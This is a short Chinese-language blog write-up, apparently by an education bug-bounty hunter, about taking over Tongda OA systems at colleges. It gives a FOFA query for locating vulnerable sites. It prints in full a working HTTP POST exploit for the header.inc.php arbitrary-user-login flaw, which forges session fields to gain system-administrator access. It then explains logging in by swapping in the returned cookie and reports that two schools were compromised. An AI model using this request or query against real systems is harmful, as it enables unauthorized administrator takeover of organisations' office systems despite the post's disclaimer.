免责声明：文章中涉及的漏洞均已修复，敏感信息均已做打码处理，文章仅做经验分享用途，切勿当真，未授权的攻击属于非法行为！
最近闲来无事，研究了下通达的day，由于本人太菜了（┭┮﹏┭┮），企业的src挖不到，就挖点edu的洞玩玩，分享下挺有意思的一次edusrc。
OA突破
入手edu，先找找OA，这次也是用了通达的day
fofa语句：
app="TDXK-通达OA" && "学院"
还是挺多的，翻了半天，发现了几个站能突破。
好家伙通达2015，这么老的应该是有洞的，拿着工具一顿跑，没有，这时想到了才研究完不久的通达OA_header_inc任意用户登录，试着用一下，成功了
poc
这里也是用了网上师傅大佬们公布的poc
POST /module/retrieve_pwd/header.inc.php HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Host: yourip
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-type: application/x-www-form-urlencoded
Content-Length: 1250
Connection: close
_SESSION[LOGIN_THEME]=15&_SESSION[LOGIN_USER_ID]=1&_SESSION[LOGIN_UID]=1&_SESSION[LOGIN_FUNC_STR]=1,3,42,643,644,634,4,147,148,7,8,9,10,16,11,130,5,131,132,256,229,182,183,194,637,134,37,135,136,226,253,254,255,536,24,196,105,119,80,96,97,98,114,126,179,607,539,251,127,238,128,85,86,87,88,89,137,138,222,90,91,92,152,93,94,95,118,237,108,109,110,112,51,53,54,153,217,150,239,240,218,219,43,17,18,19,15,36,70,76,77,115,116,185,235,535,59,133,64,257,2,74,12,68,66,67,13,14,40,41,44,75,27,60,61,481,482,483,484,485,486,487,488,489,490,491,492,120,494,495,496,497,498,499,500,501,502,503,505,504,26,506,507,508,515,537,122,123,124,628,125,630,631,632,633,55,514,509,29,28,129,510,511,224,39,512,513,252,230,231,232,629,233,234,461,462,463,464,465,466,467,468,469,470,471,472,473,474,475,200,202,201,203,204,205,206,207,208,209,65,187,186,188,189,190,191,606,192,193,221,550,551,73,62,63,34,532,548,640,641,642,549,601,600,602,603,604,46,21,22,227,56,30,31,33,32,605,57,609,103,146,107,197,228,58,538,151,6,534,69,71,72,223,639,225,236,78,178,104,121,149,84,99,100,533,101,113,198,540,626,638,38,&_SESSION[LOGIN_USER_PRIV]=1&_SESSION[LOGIN_USER_PRIV_OTHER]=1&_SESSION[LOGIN_USER_PRIV_TYPE]=1&_SESSION[LOGIN_NOT_VIEW_USER]=0&_SESSION[RETRIEVE_PWD_USER]=2s
返回的cookie可以直接登录，拿着cookie访问http://xxxx/general/,抓包，替换cookie
登录成功，系统管理员权限。
也是一样的方法拿下了另外一个学校
两个中高危到手
